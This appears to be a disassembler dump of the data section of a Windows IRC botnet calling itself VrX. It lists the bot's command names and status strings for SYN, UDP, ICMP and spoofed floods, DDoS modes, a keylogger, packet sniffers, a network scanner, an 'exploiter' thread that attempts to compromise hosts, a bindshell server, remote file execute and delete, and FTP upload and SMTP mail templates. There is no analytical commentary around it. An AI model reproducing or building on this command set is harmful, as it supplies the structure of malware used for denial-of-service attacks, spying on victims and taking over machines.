aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABA8	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 10h
unk_42ABD0	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC44	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42ACC0	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF4	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 10h
unk_42AD80	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE70	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AEFC	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438AF0o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438B00o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 10h
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 4
aE:					; DATA XREF: sub_401ACD+49DAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 4
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:004387C8o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 4
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:004387BCo ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438AECo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:004387C4o ...
		unicode	0, <n>,0
unk_42B784	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B7FC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B814	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B85C	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B888	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B89C	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B90C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B920	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B924	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B934	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B938	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B93C	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E4	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAC4	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 10h
unk_42BAF0	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB1C	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBB8	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC2C	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC58	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC94	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
aServerStarte_0	db '- Server started on: %s:%d.',0
